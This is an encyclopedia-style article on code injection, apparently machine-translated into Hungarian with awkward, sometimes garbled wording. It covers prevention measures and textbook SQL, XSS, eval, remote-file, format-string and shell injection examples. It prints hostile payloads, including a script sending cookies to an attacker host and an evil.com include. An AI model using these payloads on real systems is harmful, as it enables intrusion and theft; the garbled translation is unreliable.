Kódinjekció

A kódinjekció egy számítógépes hiba kihasználása, amelyet érvénytelen adatok feldolgozása okoz. Injekció által használt támadó a csempészni (vagy „injekciót”) kód egy veszélyeztetett számítógépes program , és megváltoztathatja az áramlás a végrehajtás . A sikeres kódinjekció eredménye pusztító lehet, pl. B. terjedhet számítógépes vírusok vagy számítógépes férgek.

A kódinjekció biztonsági rései akkor fordulnak elő, amikor egy alkalmazás nem megbízható adatokat küld tolmácsnak . Az injekciós sebezhetőségeket leggyakrabban az SQL , az LDAP , az XPath , a NoSQL lekérdezések, az operációs rendszer parancsai, az XML elemzők , az SMTP fejlécek, a program argumentumai stb. Találják. Az injekciós sebezhetőségeket általában könnyebb felfedezni a forráskód vizsgálatával, mint teszteléssel. A szkennerek és a fuzzerek segíthetnek az injekciós sebezhetőségek megtalálásában.

Az injekció adatvesztést vagy korrupciót, az elszámoltathatóság hiányát vagy a hozzáférés megtagadását eredményezheti . Az injekció néha a gazdaszervezet teljes átvételét eredményezheti.

A kódinjekció bizonyos típusai olyan értelmezési hibák, amelyek különleges jelentést kölcsönöznek a felhasználói bevitelnek. A számítástechnikán kívül is vannak hasonló értelmezési hibák, pl. B. a vígjáték rutinban Ki az első fordulat? . Ebben a rutinban a tulajdonneveket nem különböztetik meg a normál szavaktól. Hasonlóképpen, a kódinjekció egyes típusai nem tesznek különbséget a felhasználói bemenet és a rendszerparancsok között.

A kódinjekciós technikák népszerűek a rendszer feltörésében vagy feltörésében, hogy információt szerezzenek, kiváltságokat emeljenek vagy jogosulatlanul hozzáférjenek a rendszerhez. A kódinjekció rosszindulatúan felhasználható számos célra, például: B:

2008-ban, 5,66% -a az összes sebezhetőséget jelentettek az évben voltak besorolva , mint kódbeékelést , a legmagasabb szám a rekordot. 2015-ben ez 0,77% -ra csökkent.

Jó és nem kívánt felhasználás

A kódinjekció jó szándékkal alkalmazható; például egy program vagy rendszer viselkedésének módosítása vagy optimalizálása kódinjekcióval a rendszer bizonyos módon viselkedhet, rosszindulatú szándék nélkül. Kódinjekció például:

  • Vezessen be egy hasznos új oszlopot, amely nem szerepelt a keresési eredményoldal eredeti kialakításában.
  • Adjon meg új módszert az adatok szűrésére, sorrendjére vagy csoportosítására egy olyan mező használatával, amely nem szerepelt az eredeti terv standard funkcióiban.
  • Az olyan programok kapcsán, mint a Dropbox, adjon hozzá speciális alkatrészeket, amelyek segítségével offline programban kapcsolódhat az online forrásokhoz.
  • A Linux Dynamic Linker segítségével definiálhat egy bizonyos libc függvényekkel megegyező nevű függvényt , összekapcsolhatja könyvtárként a funkciót, és felülírhatja a libc függvény használatát.

Egyes felhasználók gyanútlan kódinjekciók lehetnek, mert a programba adott inputokat nem vették figyelembe azok, akik eredetileg a rendszert tervezték. Például:

  • Az, hogy a felhasználó szerint mely bevitel érvényes, tartalmazhat token karaktereket vagy karaktersorozatokat , amelyeket a fejlesztő különleges jelentést kapott (esetleg a "&" betű a "Shannon & Jason" -ben vagy idézőjelek, mint a "Bub 'Slugger' McCracken").
  • A felhasználó hibásan formázott fájlt küldhet bemenetként, amelyet az alkalmazás megfelelően feldolgoz, de amely káros a fogadó rendszerre.

A kódinjekció másik jóindulatú felhasználása lehet az injekciós hibák felfedezése, e hibák kijavítása céljából. Ezt fehér kalapnak hívják. Behatolási teszt .

A problémák megelőzése

A kódbeillesztési problémák megelőzéséhez használjon biztonságos bemeneti és kimeneti kezelést, például: B.:

  • Olyan API-k használata, amelyek megfelelő használat esetén biztonságosak minden beviteli karakter ellen. A paraméterezett lekérdezések (más néven "összeállított lekérdezések", "elkészített utasítások", "kötött változók") lehetővé teszik a felhasználói adatok értelmezését a karakterláncból. Ezenkívül a Criteria API és hasonló API-k függhetnek a létrehozandó és értelmezendő parancssorok koncepciójától.
  • Erőszakos nyelv elválasztása statikus típusú rendszerrel.
  • Bemeneti érvényesítés, pl. B. Csak az ismert jó értékek engedélyezése . B. JavaScript-sel vagy a szerver oldalon végezhető el, ami biztonságosabb.
  • Bemeneti kódolás, pl. B. menekülve a veszélyes karakterek elől. A PHP-ben pl. B. azzal a funkcióval, htmlspecialchars()hogy elkerülje a speciális karaktereket a szöveg biztonságos HTML-kimenetéhez, és mysqli::real_escape_string()elkülönítse az SQL-lekérdezésben szereplő adatokat az SQL-injekció elleni védelem érdekében.
  • Kimeneti kódolás, d. H. A weboldal látogatói elleni HTML-injekciós támadások megelőzése
  • HttpOnlyegy olyan HTTP cookie-k zászlója, amelyek beállítása be nem engedi az ügyféloldali szkriptek interakcióját a sütikkel, ezáltal megakadályozva bizonyos XSS támadásokat.
  • Moduláris héj leválasztása a kerneltől
  • Az SQL injekcióval paraméterezett lekérdezéseket, tárolt eljárásokat , az engedélyezőlistán történő bevitel ellenőrzését és még sok mást használhat a kódinjekció problémáinak enyhítésére.

A fent felsorolt ​​megoldások elsősorban a HTML vagy szkript kód web alapú injekciójával foglalkoznak egy szerveroldali alkalmazásba. Más módszereket kell azonban választani a felhasználói kód injekciójához a felhasználó számítógépén, ami magasabb jogosultságú támadásokhoz vezet. Néhány megközelítés, amelyet a kezelt és nem kezelt kódinjekciók észlelésére és elkülönítésére használnak:

  • Futásidejű kép-kivonat érvényesítés - A memóriába betöltött futtatható fájl képének egy részének vagy egészének kivonatának rögzítése és összehasonlítása a tárolt és várható hash-szal.
  • NX bit - NX bit - az összes felhasználói adatot egy speciális memóriaterületen tároljuk, amelyet nem futtathatóként jelölünk meg. Figyelmezteti a processzort, hogy a memória ezen részén nincs kód, és nem hajlandó tenni semmit, amit ott talál.
  • Kanári-szigetek - véletlenszerűen helyezzen el értékeket egy veremben. A kanári ellenőrzi futás közben, amikor egy funkció visszatér. Ha egy kanári cserélődött, a program leállítja a végrehajtást és kilép. Ez verem túlcsordulási támadással történik.
  • A C kódmutató maszkolásban (CPM) - egy (potenciálisan módosított) kódmutató regiszterbe való betöltése után egy bit maszkot alkalmazunk a mutatóra. Ez hatékonyan korlátozza azokat a címeket, amelyekre a mutató hivatkozhat.

Példák

SQL injekció

Az SQL injekció kihasználja az SQL szintaxisát olyan parancsok injektálására, amelyek képesek elolvasni vagy módosítani az adatbázist, vagy megzavarhatják az eredeti lekérdezés jelentését.

Vegyünk például egy weboldalt, amelynek két mezője van: az 1. mezőben a felhasználó megad egy felhasználónevet, a 2. mezőben pedig egy jelszót. Az oldal mögötti kód létrehoz egy SQL lekérdezést, hogy összehasonlítsa a bemeneteket egy adatbázis táblával:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>

Ez a lekérdezés akkor lesz sikeres, ha a táblázatban szerepel BenutzerListeegy olyan felhasználónevet és jelszót tartalmazó bejegyzés , amely megegyezik a felhasználó által megadottal.

Ha azonban a rosszindulatú felhasználó érvényes felhasználónevet ír be az 1. mezőbe, a kódot pedig a 2. mezőbe, akkor a XYZ' OR '1'='1'következő lekérdezés adódik:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ' OR '1'='1'

Ez a lekérdezés nem csak akkor sikeres, ha van bejegyzés az "XYZ" felhasználónévvel és jelszóval (ennek nagyon ritkán kell lennie), hanem akkor is, ha van felhasználónév és 1 = 1 (és ez mindig így van). Tehát a rendszer lehetővé teszi a hozzáférést.

Egy másik példa: a támadó a felhasználó nevet következő kódot: ';DROP TABLE BenutzerListe; --. Ebben az esetben a következő adatbázis-lekérdezés adódik:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''

Az adatbázis szempontjából ez három különböző utasítás, pontosvesszővel elválasztva. Az első egy üres felhasználónévvel rendelkező adatbázis-bejegyzést keres. Nem számít, hogy talál-e valamit, mert a következő egy DROP utasítás, amely BenutzerListeazonnal és megerősítés nélkül törli az egész táblázatot . A többit kommentként kezeljük a vezető kötőjelek miatt, vagyis figyelmen kívül hagyják. A törlési utasítással abban a pillanatban a teljes adatbázis megsemmisült, mert már nem tartalmaz táblázatot felhasználói nevekkel és jelszavakkal.

Webhelyek közötti szkriptek

A kódinjekció a kód rosszindulatú bevezetése az alkalmazásba. Egyes webhelyek például vendégkönyvet kínálnak , amelyben a látogatók apró üzeneteket hagyhatnak - például

Sehr schöne Seite!

Egy rosszindulatú személy azonban tudhat egy kódinjekcióval kapcsolatos sebezhetőséget a vendégkönyvben, és a következő üzenetet hagyhat:

Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Ha egy másik látogató felkeresi az oldalt, akkor nem fogja látni a területet <script>, hogy </script>minden - a megjelenítése helyett, a böngésző azonnal végrehajtja ezt a szkriptet a számítógépen. Ennek során nemcsak a számítógépet veszélyeztetheti, hanem a nemrégiben meglátogatott weboldalon is végezhet nem kívánt műveleteket - ha a felhasználó ott volt bejelentkezve, akkor a felhasználói jogokkal.

Ez a szkriptek injekciója egy gyanútlan következő felhasználó munkamenetébe " helyek közötti parancsfájlok " vagy "XSS" néven ismert . A vendégkönyv szkript az első be nem jelölt felhasználó kódját a kimeneti HTML szövegbe helyezte át - naiv feltételezések alapján, hogy mely bemeneti adatok lehetségesek.

Dinamikus értékelési gyengeségek

Egy -injection sérülékenység akkor jelentkezik, amikor a támadó is vezérelhetjük egészét vagy egy részét egy bemeneti karakterlánc, amely az úgynevezett egy -funkcióhoz.eval()eval()

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

A " eval" argumentum PHP- ként van feldolgozva , így további parancsok csatolhatók. Például, ha az "arg" értéke " ", akkor további kód kerül végrehajtásra, amely egy programot futtat a szerveren, ebben az esetben " ". 10; system('/bin/echo uh-oh')/bin/echo

Tárgyinjekció

A PHP lehetővé teszi teljes objektumok sorosítását és deserializálását . Megbízhatatlan bevitel engedélyezése a deszerializációs létesítménybe felülírhatja a program meglévő osztályait és rosszindulatú támadásokat hajthat végre. Az egyik ilyen támadást 2013-ban találták meg a Joomla ellen.

Távoli fájlinjekció

Vegye figyelembe ezt a PHP programot (amely egy kérés által megadott fájlt tartalmaz):

<?php
$color = 'blue';
if (isset($_GET['Farbe']))
    $color = $_GET['color'];
require($color . '.php');

A példában olvasható, hogy csak olyan színes fájlokat töltenek be, mint a blau.phpés rot.php, míg a támadók COLOR=http://evil.com/exploitmegadhatják, hogy mi okozza a PHP számára a külső fájl betöltését.

Formátum-specifikáló injekció

A karakterlánc-hibák formázása akkor fordul elő leggyakrabban, amikor a programozó megpróbál olyan karakterláncot kiadni, amely a felhasználó által megadott adatokat tartalmazza. A programozó hibásan levelet printf(buffer)helyett printf("%s", buffer). Az első verzió pufferformázási karakterláncként értelmezi, és elemzi az összes formázási utasítást. A második változat egyszerűen kinyomtat egy karakterláncot a képernyőn a programozó szándéka szerint.

Vizsgáljuk meg a következő rövid C programot, amelynek van egy helyi változó char tömbje Passwort, amely jelszót tartalmaz; a program egész számot és karakterláncot kér a felhasználótól, majd kiadja a felhasználó által megadott karakterláncot.

  char user_input[100];
  int int_in;
  char passwort[10] = "Passwort1";

  printf("Geben Sie eine ganze Zahl ein.");
  scanf("%d", &int_in);
  printf("Bitte geben Sie einen String\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Sichere Version ist: printf("%s", user_input);
  printf("\n");

  return 0;

Amikor a felhasználói bevitelt %s%s%s%s%s%s%s%skitölti egy formátumspecifikáció listája, például , akkor elkezdi olvasni printf()a veremből . Végül az egyik %sformázó hozzáfér a címhez Passwort, amely a veremben van, és kinyomtatja Passwort1a képernyőre.

Héjinjekció

A héjinjekciót (vagy a parancsinjekciót) a Unix héjak nevezik meg, de a legtöbb olyan rendszerre vonatkozik, amely lehetővé teszi a szoftverek számára a parancssoros programozott futtatást. Íme egy példa egy sérülékeny tcsh szkriptre:

#!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches

Ha a futtatható fájlban fentiek vannak ./check, a shell parancs ./check " 1 ) evil"megpróbálja futtatni az injektált shell parancsot, evilahelyett, hogy összehasonlítaná az argumentumot az állandóval. Itt a megtámadott kód az a kód, amely megpróbálja ellenőrizni a paramétert, vagyis éppen az a kód, amely megpróbálhatta érvényesíteni a paramétert a támadás megakadályozása érdekében.

A shell parancs összeállításához és végrehajtásához használható bármely funkció potenciális eszköz lehet a shell injekció támadásának elindítására. Ezek közé tartozik system(), StartProcess()és System.Diagnostics.Process.Start().

Az ügyfél-kiszolgáló rendszerek, például a webszerverekkel interakcióban lévő webböngészők potenciálisan kiszolgáltatottak a héjinjekciónak. Vegyük figyelembe a következő rövid PHP programot, amely egy webszerveren futtatható egy külső program futtatásához, amely funnytexta felhasználó által küldött egyik szót helyettesíti egy másikkal.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

A passthrufenti példa egy shell parancsot állít össze, amelyet a webszerver hajt végre. Mivel az összetett parancs egy része a webböngésző által biztosított URL-ből származik , az URL rosszindulatú shell parancsokat adhat be. Többféle módon lehet kódot beinjektálni ebbe a programba, kihasználva a különféle shell funkciók szintaxisát (ez a lista nem teljes):

Egyes nyelvek olyan funkciókat kínálnak a karakterláncok helyes elkerülésére, amelyeket shell parancsok létrehozására vagy idézőjelbe helyezésére használnak:

Ez azonban még mindig azt jelenti, hogy a programozónak ismernie kell / meg kell tanulnia ezeket a funkciókat, és emlékeznie kell arra, hogy minden alkalommal használja őket, amikor shell parancsokat használnak. Ezeknek a funkcióknak a használata mellett javasoljuk a felhasználói adatok érvényesítését vagy megtisztítását.

Biztonságosabb alternatíva az olyan API-k használata, amelyek külső programokat futtatnak közvetlenül, nem pedig shelleken keresztül, ami megakadályozza a shell injektálásának lehetőségét. Ezek az API-k azonban általában nem támogatják a héjak különféle kényelmi funkcióit és / vagy nehézkesebbek / részletesebbek a tömör shell-szintaxishoz képest.

Lásd még

Külső linkek

dagad

  1. upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php A top 10 webalkalmazások biztonsági rése . Pennsylvaniai Egyetem. Archiválva az eredetiből , 2018. február 24-én. Letöltve: 2016. december 10-én.
  2. OWASP Top 10 2013 A1: Injekciós hibák . OWASP. Letöltve: 2013. december 19.
  3. ^ NVD - Statisztikai keresés . Letöltve: 2016. december 9.
  4. Raghunathan Srinivasan: archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf A hatékonyabb vírusdetektorok felé . In: Arizonai Állami Egyetem . Archiválva az eredetiből , 2010. július 29-én. Letöltve: 2010. szeptember 18 .: "A kódinjekció jóindulatú használata akkor fordul elő, amikor a felhasználó megváltoztatja a program viselkedését a rendszer követelményeinek való megfelelés érdekében."
  5. Jose Andre Morales, Erhan Kartaltepe, Shouhuai Xu, Ravi Sandhu: A bot-folyamatok tüneteken alapuló detektálása . In: Előadási jegyzetek a számítástechnikában . Springer, Berlin, Heidelberg 2010, ISBN 978-3-642-14705-0 , doi : 10.1007 / 978-3-642-14706-7_18 .
  6. Dinamikus linkelő trükkök: Csaljon az LD_PRELOAD segítségével, fecskendezze be a funkciókat és vizsgálja meg a programokat . 2013. április 2., letöltve: 2016. december 10.
  7. A Java EE 6 oktatóanyag: 35. fejezet A Criteria API használata lekérdezések létrehozásához . Jóslat. Letöltve: 2013. december 19.
  8. Tom Moertel: A " húrprobléma" típusalapú megoldása: megfelelő vég az XSS és az SQL injekciós lyukakhoz? . 2006. október 18. Letöltve: 2018. október 21.
  9. Csak Http . 2014. november 12. Letöltve: 2016. december 10.
  10. ^ SQL injekció-megelőzési csalólap . Letöltve: 2016. december 10.
  11. Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: CPM: Kódmutatók maszkolása a kódinjekciós támadások megelőzésére . In: ACM-tranzakciók az információ- és rendszerbiztonságról . 16., 1. szám, 2013. június 1., ISSN  1094-9224 , 1-27. doi : 10.1145 / 2487222.2487223 .
  12. ^ Brian Hope, Paco Hope, Ben Walther: Webbiztonsági tesztelési szakácskönyv . O'Reilly Media , Sebastopol, Kalifornia, 2009. május 15, ISBN 978-0-596-51483-9 , 254. o.  , OCLC 297573828 .
  13. Steven M. Christey: Dinamikus szervíz sérülékenység a PHP alkalmazások. 2006. május 3. , 2018. október 21 .
  14. unsialize-notes A funkció figyelmeztetések nem szializálása . PHP.net.
  15. A Joomla PHP objektuminjektálás miatti biztonsági résének elemzése . Letöltve: 2014. június 6.
  16. Parancs injekció . OWASP.
  17. ^ Douglas W. Jones, CS: 3620 jegyzet, 4. előadás - Shell szkriptek , 2018. tavasz.
  18. rendszer (3) - Linux man oldal , a linux.die.net oldalon
  19. Túlterhelések , az msdn.microsoft.com oldalon
  20. Parancs injekció . Archiválva az eredetiből , 2015. február 27-én. Letöltve: 2015. február 27-én.